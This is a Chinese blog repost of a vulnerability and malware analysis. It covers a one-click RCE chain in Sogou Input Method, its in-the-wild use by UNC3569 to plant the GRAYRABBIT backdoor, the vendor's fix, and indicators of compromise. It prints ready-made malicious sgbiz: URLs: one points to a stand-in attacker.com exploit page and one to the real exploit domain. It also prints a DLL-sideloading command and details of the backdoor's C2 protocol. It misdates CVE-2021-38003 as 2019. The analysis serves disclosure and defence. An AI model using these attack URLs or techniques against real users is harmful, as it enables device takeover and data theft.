文章总结: 搜狗输入法曝出高危RCE漏洞CVE-2026-51990,由GenThreatLabs发现。攻击链串联sgbiz:协议处理器未验证参数注入、CEFWebview无限制URL导航及无沙盒的Chromium80引擎三个弱点,用户点击链接即可触发。UNC3569组织已在野外利用此漏洞植入后门。建议用户立即更新搜狗输入法至最新版本以修复漏洞。
综合评分: 90
文章分类: 漏洞分析,漏洞预警,恶意软件
搜狗输入法曝一键式RCE高危漏洞:点击链接即会自动植入后门
原创
骨哥说事
骨哥说事
骨哥说事
2026年9月15日 09:05
上海
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
| |
| — |
| 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
#
#
防走失:https://gugesay.com/
不想错过任何消息?设置星标↓ ↓ ↓
#
核心要点
Gen Threat Labs在搜狗输入法中,发现了一个严重的远程代码执行 (Remote Code Execution, RCE) 漏洞 (CVE-2026-51990)。搜狗输入法是安装量达数亿的、最广泛使用的中文输入法编辑器之一。
该漏洞将三个独立的弱点串联成一个只需一次点击即可触发的完整漏洞利用链:sgbiz: 自定义协议处理器中存在未经校验的命令行参数注入、基于CEF的Webview中存在无限制的URL导航,以及一个版本严重陈旧且未启用沙盒的Chromium浏览器引擎。
漏洞已报告给搜狗输入法的所有者和腾讯公司,目前已在后续更新中被修复。
引言
本文将详细剖析此漏洞,解释每个环节如何协同工作,并介绍UNC3569如何在野外利用它。
攻击链概览
攻击面:搜狗输入法内部如何通信
在深入漏洞细节之前,先理解其中的各个组件会很有帮助。搜狗输入法并非单一的单一的可执行文件。它是一系列组件的集合,这些组件通过Windows上注册的自定义协议方案进行通信:sgbiz:。
当用户 (或网页,或任何应用程序) 打开一个以 sgbiz: 开头的URL时,Windows会将其交给协议处理器 biz_helper.exe。这个二进制文件解析URL,判断调用方请求的内容,然后将请求分派给相应的搜狗组件。
一个典型的 sgbiz: URL 大致如下:sgbiz:sg_process?module=sgmyinput.exe¶m=-page=skincenter
URL路径 ( sg_process, component, td_process ) 告诉 biz_helper.exe 使用哪个处理器。查询参数则提供具体细节:启动哪个可执行文件、传递哪些参数、使用哪个工作目录等等。问题就出在这里。
漏洞一:biz_helper.exe 中的未验证参数注入
攻击链的第一环是协议处理器本身。当 biz_helper.exe 收到一个带有 sg_process 命令的 sgbiz: URL 时,它会从URL中提取五个参数:
module:要启动的搜狗可执行文件的名称。param:传递给该可执行文件的命令行参数。work_dir:工作目录。start_mode:如何启动进程 ( CreateProcessW 或 ShellExecuteW )。start_show:窗口显示状态。
module 参数经过了彻底的安全检查。验证函数会扫描该参数是否包含禁止的字符 ( \ / : * ? " < > | ) 以防止路径遍历攻击,强制 MAX_PATH 长度限制,相对于搜狗安装目录解析文件名,然后调用 GetFileAttributesW 来确认目标文件确实存在且不是目录。
图2. 针对路径遍历和文件检查的IDA代码片段
这种验证的存在有其充分理由。它旨在防止攻击者通过module 参数进行路径遍历,从而启动任意可执行文件。但他们遗漏了一点。
param 参数控制着传递给启动的可执行文件的命令行参数,却完全没有经过任何验证。从URL中提取出来后,它仅经过一次URL解码 (通过 mbdup 函数) ,然后被直接、未经修改地作为命令行参数传递给 module 指向的任何可执行文件。没有清理,没有白名单,没有过滤,什么都没有。
图3. 提取 param 键及仅有的 mbdup 过滤的IDA代码片段
图3. 提取 param 键及仅有的 mbdup 过滤的IDA代码片段
这意味着,攻击者可以向任何可通过 sg_process 处理器启动的搜狗可执行文件中注入任意命令行参数,而这正是打开通往下一个漏洞的大门的关键。
图4. 通过 CreateProcessW 或 ShellExecuteW 启动 SGMyInput 的IDA代码片段
漏洞二:SGMyInput.exe 中的无限制URL导航
攻击者精心构造的URL目标是 SGMyInput.exe —— 搜狗输入法配置应用程序,并传递给它一组精心选择的参数:
sgbiz:sg_process?module=sgmyinput.exe¶m=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html
经过URL解码后,param 的值变为:
-page=skincenter -url=https://attacker.com/exploit.html
-page 参数决定了 SGMyInput.exe 初始化哪个UI模块。大多数页面类型 (如 fuzzy, confignormal, personcenter, keyset 等) 创建的是原生的Win32配置对话框。但有一个页面类型与众不同:skincenter。
skincenter 页面是皮肤市场。与其他所有页面类型不同,它创建了一个 CEF (Chromium Embedded Framework) Webview 来显示皮肤商店。这是 SGMyInput.exe 中唯一实例化浏览器的代码路径。这就是为什么攻击者特别选择了 skincenter。当Webview准备就绪时,SkinCenterWebViewEvent::OnWebViewIsReady 函数会检查是否通过 -url 命令行参数 (存储在 SkinCenterWebViewEvent 对象的 wszCustomUrl 字段中) 提供了自定义URL。如果存在,函数会复制该URL并直接将浏览器导航至该地址。
图5. 缺失自定义URL检查的IDA代码片段,展示直接导航过程
正常情况下,Webview会加载内部搜狗URL,如 https://sogoupyskin/, https://page.sogou/, 或 https://res.sogou/。代码注册了这些域并为其加载HTML内容和资源。但当存在自定义URL时,函数就直接使用它。没有协议检查 ( http, https, file, data, javascript,全部接受 ),没有域名白名单,没有任何形式的验证。
因此,来自 sgbiz: 链接的攻击者控制的URL,直接从 biz_helper.exe 经由 SGMyInput.exe,流入一个CEF浏览器,该浏览器将导航至攻击者期望的任何地址。仅此就已经是一个严重的漏洞,但情况更糟。
漏洞三:来自2020年的浏览器引擎,在无沙盒环境下运行
搜狗输入法中的嵌入式浏览器由 CEF (Chromium Embedded Framework) 驱动,实际的渲染发生在一个单独的进程中:SGWebRender.exe。
SGWebRender.exe 本身是一个精简的启动器。它的 WinMain 构造了 SGMiniBrowserHelperHost1.0.0.8.dll 的路径,通过 LoadLibraryExW 加载它,并解析 GetBrowserManagerInstance 导出函数。此函数返回一个浏览器管理器单例,其 Run 方法会触发该DLL内部的实际CEF初始化。
图6. 展示加载并调用 SGMiniBrowserHelperHost1.0.0.8.dll 的IDA代码片段
该DLL的 CefBrowserInit 函数调用 cef_enable_highdpi_support,通过 GetCommandLineW 解析命令行,确定进程类型 ( browser, renderer 或其他 ),然后为子进程调用 cef_execute_process。对于主浏览器进程,它会创建一个 CefSettings 结构,通过 PopulateCefSettings 填充它,然后调用 cef_initialize。CefApp 对象的 OnBeforeCommandLineProcessing 回调随后在引擎启动前追加额外的Chromium命令行开关。
问题在于CEF版本。搜狗输入法捆绑的 libcef.dll 自称为 CEF 80.1.16,配合 Chromium 80.0.3987.163。这个版本可以追溯到大约2020年3月,这意味着在我们分析时,它已经超过六年历史,并且落后于当时最新的Chromium稳定版大约60个主要版本。
仅此一点就已是一个严重问题。Chromium 80缺失了六年的安全补丁,存在数百个已知CVE漏洞,包括允许通过JavaScript执行任意代码的严重V8引擎漏洞。但更糟糕的是,DLL内部硬编码的安全设置加剧了这种情况。
首先,PopulateCefSettings 函数在 CefSettings 结构中明确将 no_sandbox 设置为 TRUE。这完全禁用了Chromium沙盒。沙盒是纵深防御的主要机制,用于防止受攻击的渲染器访问主机操作系统。没有它,任何渲染器漏洞利用都将获得对系统的完全访问权限,并拥有当前用户的特权。
图7. 展示CEF沙盒被禁用的IDA代码片段
接着,ConfigureCefCommandLineSwitches 回调 (即 CefApp 的 OnBeforeCommandLineProcessing 处理程序) 会追加一系列开关,进一步削弱防护:
disable-web-security:禁用同源策略,允许任何页面读取来自任何源的内容。allow-file-access-from-files:允许URL读取其他本地文件。disable-gpu-shader-disk-cacheenable-direct-writedisable-spell-checking
disable-web-security 和 allow-file-access-from-files 标志受 CefApp 对象中的一个 bDisableWebSecurity 字段控制。但该标志在 SGWebRender.exe 初始化浏览器管理器时被硬编码为 1。这不是一个运行时开关或配置选项。它始终是开启的。
图8. 展示 SGWebRender.exe 中 bDisableWebSecurity 标志设置位置的IDA代码片段
图9. 展示 SGMiniBrowserHelperHost 中 bDisableWebSecurity 标志提取的IDA代码片段
disable-web-security 标志尤其危险。即使没有完整的浏览器漏洞利用,禁用同源策略也意味着加载到这个Webview中的任何页面都可以向内部网络服务发起认证请求,读取其响应,并窃取数据。再加上缺乏沙盒保护,这就创造了一个漏洞利用极其容易的环境。
图10. 展示禁用Web安全并允许文件访问的条件判断的IDA代码片段
简而言之:攻击者可以强制这个古老且未受保护的浏览器导航到他们想要的任何URL,他们所需要的只是过去六年间发布的、针对Chromium任意漏洞的JavaScript漏洞利用代码。
完整的漏洞链工作原理如下:
-
攻击者制作了一个sgbiz:URL并将其发送给受害者(例如,通过网络钓鱼电子邮件、消息或网页上的链接)。
-
当受害者单击链接时,Windows将其交给biz_helper.exe,该链接会解析sgbiz:URL,验证模块参数(sgmyinput.exe通过检查,因为它是合法的Sogou可执行文件),并将未经验证的参数值作为命令行参数传递。
-
SGMyInput.exe以-page=skincenter和-url=https://attacker.com/exploit.html启动,皮肤中心页面创建了一个CEF网页视图,OnWebViewIsReady函数在没有任何验证的情况下将浏览器导航到攻击者的URL。
-
SGWebRender.exe运行Chromium 80,没有沙盒,同源策略被禁用,加载攻击者的页面。该页面包含针对过去六年中任何已知的V8漏洞的JavaScript漏洞。
-
因为没有沙盒,漏洞实现了直接的系统级代码执行,攻击者现在可以做当前用户能做的任何事情。
野外观察:UNC3569的“灰兔子”后门利用
UNC3569是一个被谷歌威胁情报 (Google Threat Intelligence) 记录在案的、具有PRC关联背景的威胁组织,该组织注重行动效率,经常利用广泛使用软件中的已知漏洞 (n-day漏洞),并维护一个多样化的工具集,包括定制开发的恶意软件和商业工具。该组织在全球范围内对政府、教育、科技和金融等部门进行过网络攻击,重点集中在东亚和东南亚地区。
在观察到的攻击活动中,攻击者向受害者投递了以下URL:
sgbiz:sg_process?module=sgmyinput.exe¶m=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html
位于 noht1ng.top 的漏洞利用页面提供针对 CVE-2021-38003 的JavaScript漏洞利用代码。这是一个影响Chrome 95.0.4638.69之前版本的V8类型混淆漏洞,由JSON.stringify函数触发。由于搜狗捆绑的Chromium版本是80,这个2019年发布的漏洞(以及此后60多个主要版本间的数十个其他漏洞)可以完美利用。
图11. 展示 hole 值创建的代码片段
该漏洞利用代码通过 makeMapOdd 函数,使用这个“hole”值来破坏V8内部的Map结构,最终实现了堆上的任意读写权限。之后,它定位到一个WebAssembly实例(V8会为其分配具有RWX权限的内存),将shellcode写入该可执行页面,并调用WebAssembly的导出函数来跳转执行。
图12. 展示shellcode写入和执行过程的代码片段
Shellcode:下载与劫持加载
攻击代码中嵌入了x64位置无关的shellcode(921字节),充当下载器。该shellcode使用经典的call/pop技术来定位自己的基地址,然后遍历PEB的 InLoadOrderModuleList,通过计算每个模块名称的ROR8哈希值来定位 kernel32.dll。它通过导出名称哈希解析 LoadLibraryW,加载 Urlmon.dll,并解析 URLDownloadToFileA。
图13. 展示哈希函数的IDA代码片段
这个下载器的功能(从一个托管在阿里云上的开放目录服务器获取GRAYRABBIT组件),在功能上让人联想到谷歌威胁情报文档中记录的、UNC3569用来投递GRAYRABBIT的专用下载器 RABBITFUR。
在以往观察到的攻击活动中,RABBITFUR是作为一个独立的可执行文件被部署,从开放目录服务器下载包裹着shellcode的GRAYRABBIT。而在此次攻击中,同样的功能模式(从开放目录下载,投递XOR编码的GRAYRABBIT)被直接嵌入到了V8漏洞利用的shellcode中,而非打包成一个独立的二进制文件。这可能代表了投递机制为了适应浏览器漏洞作为初始接入点而进行的演进。
Shellcode从一个位于 8.218.50[.]207(阿里云香港节点)的暂存服务器获取了三个文件,这与UNC3569在其香港和新加坡区域偏好使用阿里云基础设施的记载相符:
7z.exe:一个合法的7-Zip二进制文件,用作侧加载 (Sideloading) 的宿主程序。7zp.dll:一个特洛伊化的DLL加载器(内部名:boy.dll)。p:一个包含最终阶段RAT(远程访问木马)的加密载荷文件。
这些文件被写入 C:\Users\Public\Documents\。关键之处在于,shellcode将特洛伊化的DLL以 7z.dll(而非 7zp.dll)的名字保存在磁盘上,将其与合法的 7z.exe 放在同一目录。然后,shellcode解析 kernel32 中的 CreateProcessA,并以 CREATE_NO_WINDOW(0x08000000)标志执行以下命令:
c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p
这个压缩命令本身是无关紧要的。其唯一目的是启动 7z.exe,而 7z.exe 会自动从其自身目录加载 7z.dll 。由于特洛伊化的DLL已经被伪装成合法DLL的名字并放在那里,它会被侧加载,并在7-Zip处理命令行参数之前接管执行流程。
加载器:反沙箱与自删除技术
特洛伊化的DLL伪装成合法的 7z.dll。所有标准的7-Zip导出函数(CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty 等)都存在,但都指向仅返回的空函数存根。只有一个导出函数 GetModuleProp 包含实际的恶意代码。当 7z.exe 在其初始化过程中调用 GetModuleProp 时,特洛伊化的DLL随之激活。
API解析完全是手工完成的,与shellcode的做法相同:加载器遍历PEB的 InLoadOrderModuleList ,通过计算每个模块名称的ROR8哈希来找到 kernel32.dll。
加载器将加密的载荷文件从磁盘读取到内存,然后在解密前运行一个反沙箱检查。该检查通过 CreateToolhelp32Snapshot 创建进程快照,并使用 Process32First/Process32Next 统计每个正在运行的进程。将统计数量与阈值50(0x32)进行比较:
- 如果系统有50个或更多进程(真实机器的典型情况),该计数值被丢弃并替换为零。
- 如果系统进程少于50个(沙箱的典型情况),则保留实际计数值。
然后,DWORD异或解密的密钥由三个值计算得出:
- 一个确定性的浮点数计算结果(一个固定的计算过程,通过
sqrt、乘法和倒数操作循环50,000次,总是产生同一个整数)。 - 上述进程计数的检查值。
- 硬编码的常量
0x098838B0。 这三个值进行异或操作。在真实机器上,检查值为零,异或产生正确的解密密钥。在沙箱中,检查值为非零,异或产生错误的密钥,导致载荷解密成乱码。然后,解密循环将这个DWORD密钥应用于载荷缓冲区的每四个字节。
图14. 展示用于确定部分异或密钥的浮点算法的IDA代码片段
解密后,加载器将结果复制到一个具有RWX权限(通过 VirtualAlloc 分配,指定 PAGE_EXECUTE_READWRITE)的缓冲区中,并通过Windows线程池API(CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks)来执行它,而不是使用更常见且容易被挂钩的 CreateThread。这有助于它避开针对常见线程创建模式的行为检测规则。
在执行载荷之前,加载器使用NTFS备用数据流 (Alternate Data Stream, ADS) 技术进行自删除。它用 DELETE 权限(0x10000)和 FILE_SHARE_READ 打开自己的文件句柄,然后调用 SetFileInformationByHandle,使用 FileRenameInfo 类别(3)将默认数据流重命名为一个随机命名的ADS(例如 :aB3xRt)。接着,它设置 FileDispositionInfo(类别4),DeleteFile = TRUE,关闭句柄,重新打开文件,并再次设置处置信息。当所有句柄关闭后,文件从磁盘消失。整个过程中,行为日志里永远不会出现 DeleteFileW 调用。
载荷:GRAYRABBIT后门
加密的载荷文件采用两阶段封装结构:一个位置无关的shellcode存根(0xC7 字节),后面跟着经过XOR加密的GRAYRABBIT可执行文件 (PE)。这种封装格式——一个简短的解密存根加上单字节XOR加密的PE,并调用 CoreClientInstall 导出函数——是谷歌威胁情报记录中,自2021年以来UNC3569在各个攻击活动中一贯使用的标准GRAYRABBIT投递格式。
存根使用call/pop技术定位自身基地址,加上 0xBF 找到加密数据的起始位置(位于文件偏移量 0xC7 处),然后用单字节密钥 0x33 对整个嵌入式PE(0x42800 字节)进行XOR解密。解密后,存根使用RVA到文件偏移的转换器(因为此时PE尚未映射到虚拟内存中)遍历PE的导出目录,定位到按序号排列的第一个导出函数 CoreClientInstall,并将解密后的PE基地址作为参数调用它。
解密后的PE是GRAYRABBIT的x64变种,这是一个轻量级的C++后门,UNC3569多年来一直将其用作第一阶段的植入程序。其内部模块名为 core.dll,后门导出两个函数:
CoreClientInstall:反射式PE加载器 (Reflective loader) 的入口点。CoreClientStart:主RAT (远程访问工具) 循环。
这两个导出函数名称,连同C2 (命令与控制) 协议结构和信标 (Beacon) 格式,是识别GRAYRABBIT的关键标识符,正如谷歌威胁情报在上述VB2024论文中所记载的。x64变种代表了原始x86版GRAYRABBIT的成熟化版本,其结构差异包括字节操作编码的C2域名以及扩展的命令集。
CoreClientInstall 函数:反射式PE加载
CoreClientInstall 是一个反射式PE加载器。它通过同样的PEB遍历哈希技术从 kernel32.dll 解析 VirtualAlloc,分配足够容纳完整PE镜像的RWX内存,并将PE映射其中:将各节复制到其虚拟地址,处理基址重定位,并通过 ntdll 的 LdrGetDllHandle 和 LdrGetProcedureAddress 函数(也通过哈希解析)来解析导入表。最后,它使用 VirtualProtect 为各个节设置正确的页面保护权限,使用 DLL_PROCESS_ATTACH 参数调用 DllMain,然后通过导出名称哈希解析出 CoreClientStart 并调用它。
图15. 展示 CoreClientInstall 函数的IDA代码片段
CoreClientStart 函数:后门主循环
CoreClientStart 首先解密C2配置。域名 mail.uaiubifas[.]top 被分割成一个16字节的XMM常量和两个字节的字符串字面量 "op",在运行时拼接起来。端口硬编码为 0x1BB(443)。通信使用原始TCP套接字(非TLS)。每个 0x1000 字节的发送/接收帧都使用六字节静态密钥 m5b1u3 进行RC4加密,且每帧会重新初始化RC4的S盒。
启动时,CoreClientStart 遍历配置的C2服务器,调用 gethostbyname 解析域名,然后通过 connect 建立到端口443的TCP连接。连接建立后,启用TCP保活机制(SIO_KEEPALIVE_VALS,间隔10秒,重试间隔5秒)并设置 SO_REUSEADDR。如果连接断开,RAT会关闭套接字,重新初始化Winsock,并在休眠10秒(Sleep(0x2710))后重新连接。
一个专用的接收线程在循环中运行,从套接字读取最多 0x1000 字节的帧,对每帧进行RC4解密,并根据其4字节的类型标识符分派传入的消息。该二进制文件包含的C++ RTTI元数据揭示了其类层次结构:消息继承自一个基类 SRMsg,并动态转换为 NormalMsg(命令消息)或 FileMsg(文件传输消息):
0x6D7367FF("msg"+0xFF):命令消息 (NormalMsg),分派给命令处理器。0x66696C65("file"):文件操作消息 (FileMsg),分派给文件任务系统。
图16. 展示后门C2接收循环的IDA代码片段
传输中的每个数据帧都严格为 0x1000(4096)字节,用零填充并进行RC4加密。
NormalMsg帧包含一个12字节的头:4字节魔数、4字节载荷长度、4字节命令ID,后面跟着最多4084字节的UTF-8载荷数据。FileMsg帧有一个更大的264字节(0x108)头:4字节魔数、4字节载荷长度、1字节操作码('s'表示开始,'c'表示数据块,'e'表示结束),以及一个255字节的以空字符结尾的文件路径,后面跟着最多3832字节的文件数据。
操作码控制着文件传输状态机:
's'在内部任务队列中创建一个新的传输条目并传递第一个数据块。'c'追加后续的数据块。'e'将传输标记为完成(状态值2),通知任何正在等待的线程可以获取完整文件。
所有编号命令(0到9)和默认的插件分派都通过 NormalMsg 帧传递。FileMsg 帧专用于在植入程序和C2之间传递文件内容的数传频道,不属于命令分派表。
主线程处理 NormalMsg 命令队列,并根据命令ID进行分派:
| 命令 ID | MSG 类型 | 详情 |
| — | — | — |
| 0 | NormalMsg | 静默执行一个进程(使用载荷作为命令行参数调用 CreateProcessW) |
| 1 | NormalMsg | 启动一个交互式反向Shell(启动 "cmd" 进程并重定向其标准输入/输出/错误) |
| 2 | NormalMsg | 无操作 / 保留 |
| 3 | NormalMsg | 向交互式Shell的标准输入管道写入数据(需要先执行命令1启动活动shell) |
| 4 | NormalMsg | 关闭交互式Shell并终止其进程 |
| 5 | NormalMsg | 从C2加载一个插件模块(详见下文) |
| 6 | NormalMsg | 收集并发送系统信息 |
| 7 | NormalMsg | 自我终止(卸载所有插件,然后对当前进程调用 TerminateProcess) |
| 8 | NormalMsg | 无操作 / 文件请求确认(也由客户端发送以请求文件) |
| 9 | NormalMsg | 将本地文件上传到C2(从载荷中读取文件路径) |
| default | NormalMsg | 通过vtable调用,分派给已加载的插件模块 |
命令5是插件加载器,其行为取决于所请求的模块是否已经下载。其载荷包含一个文件路径字符串(UTF-8)。当命令到达时,处理器首先查找此路径是否出现在一个跟踪所有进行中和已完成的文件传输的内部任务队列中。可能有两种结果:
- 如果路径未在任务队列中找到(模块尚未下载),处理器会生成一个专用的下载线程。该线程向C2发送一个携带相同文件路径载荷的命令ID为8的
NormalMsg,实质上是请求C2投递该文件。C2则响应一系列FileMsg帧:一个's'帧创建传输条目并传递第一个数据块,零个或多个'c'帧传递后续数据块,以及一个标志传输完成的'e'帧(将条目的内部状态字段设置为2)。下载线程轮询任务队列,大约每两秒检查一次,直到检测到该条目的状态达到2。此时,它进入反射式加载阶段。 - 如果路径已被找到且状态为2(模块已在之前的命令中下载完毕),处理器则跳过下载,直接进入反射式加载阶段。
反射式加载阶段使用与 CoreClientInstall 相同的基础架构,将下载的PE映射到内存中:通过PEB遍历哈希解析 VirtualAlloc,分配可执行内存,将各节映射到其虚拟地址,处理重定位,解析导入表,并使用 DLL_PROCESS_ATTACH 调用其入口点。之后,通过哈希解析并调用指定的导出函数。每个加载的模块都在一个链表中进行跟踪,无法识别的命令ID(分派表中的默认情况)则通过vtable调用转发给这些模块,从而允许C2操作员在不替换核心植入程序的情况下实时扩展GRAYRABBIT的能力。
图17. 展示命令ID 5逻辑的IDA代码片段
系统信息信标(命令6): 收集机器的IPv4地址(通过 GetAdaptersAddresses,筛选具有网关的可用以太网或Wi-Fi适配器),主机名(通过 gethostname),用户名(通过 GetUserNameA),当前进程名和PID(通过 GetModuleFileNameA 和 GetProcessId)。结果格式化为 <ip_address>+<hostname>+<username>+<exename>:<pid>,并在成功连接后发送给C2。
披露时间线与修复
- 2026年4月9日:根据ISO/IEC 29147:2018标准,向腾讯邮箱(
[email protected])提交包含完整技术报告的漏洞报告,设定了90天协调披露期限。 - 2026年4月10日:腾讯确认收到报告并开始内部评估。
- 2026年4月21日:腾讯确认修复完成,并通过自动更新(版本号
16.3.0.3498)向所有用户部署。 - 2026年5月4日:向MITRE请求CVE编号。
- 2026年7月10日:MITRE分配CVE-2026-51990编号。
值得称赞的是:从报告到部署补丁仅12天,响应速度确实很快,我们赞赏搜狗工程团队的快速响应。在回应中,腾讯公司认为该漏洞的影响有限,指出漏洞利用链“相对复杂”,并需要“社会工程手段诱使用户主动授权浏览器的弹窗提示”。其回应还呼吁“所有平台服务提供者进一步加强对非法链接的识别和拦截”。虽然此次更新阻止了我们观察到的漏洞利用路径,但底层浏览器组件仍然过时,继续在无沙盒环境下运行,并且关键的浏览器安全控制仍被禁用。我们认为这些组件值得进一步加固。
我们建议所有搜狗输入法用户尽快更新到最新版本。
修复了什么
整个修复位于协议处理程序层面,集中在 biz_helper.exe 中。该处理程序现在会识别携带URL的开关参数。通过检查开关名称是否属于一组已知的URL参数(特别是 -url 和 -firsturl,这是 SGMyInput.exe 用于接收自定义导航URL的两个开关)。对于找到的每个URL,它都会调用 InternetCrackUrlW 来解析URL结构,立即拒绝任何非HTTPS协议的URL(阻断 http://、 ftp://、 data://、 javascript:// 及其他所有协议),提取主机名,将其转换为小写,并与一个包含四个条目的后缀匹配白名单进行核对:
sogou.comqq.comwoa.comsogou
后缀匹配意味着 sogou.com 可以匹配 anything.sogou.com、skins.sogou.com 等,但不会匹配 attacker-sogou.com(比较是逆序进行的,每个白名单条目前会预加一个点,然后与 .sogou.com 进行匹配)。
值得注意的是,CEF配置和 libcef 本身的版本并未改变。在修补后的 SGWebRender.exe 和 SGMiniBrowserHelperHost DLL中,CefSettings.no_sandbox 仍被设置为 1,bDisableWebSecurity 标志仍被硬编码为 1,ConfigureCefCommandLineSwitches 回调仍然附加了 disable-web-security、allow-file-access-from-files 及其他不安全的标志。嵌入式浏览器组件依然是无沙盒且安全策略被剥离的。它只是不能再通过外部协议处理程序接收攻击者控制的URL进行访问,因为 biz_helper.exe 中的输入验证现在从最前端阻断了这条攻击路径。
在撰写本文时,biz_helper 中还增加了额外的检查,例如浏览器上下文模块参数的白名单和危险的 param 参数黑名单。然而,CEF配置和版本仍未改变。
攻击指标 (Indicators of Compromise, IoC)
文件哈希 (SHA256)
29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63—7zp.dll(特洛伊化DLL加载器,内部名:boy.dll)749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e—p(加密的PE加载器shellcode)D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a— GRAYRABBIT后门(内部名:core.dll)
IOC
mail.uaiubifas[.]top— GRAYRABBIT C2域名(端口443,原始TCP,RC4加密)noht1ng[.]top— 漏洞利用页面托管域名8.218.50[.]207— 暂存服务器(阿里云,香港)
原文:https://www.gendigital.com/blog/insights/research/one-click-backdoor-sogou#putting-it-all-together
- END –
感谢阅读,如果觉得还不错的话,动动手指给个三连吧~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:骨哥说事 骨哥说事
骨哥说事《搜狗输入法曝一键式RCE高危漏洞:点击链接即会自动植入后门》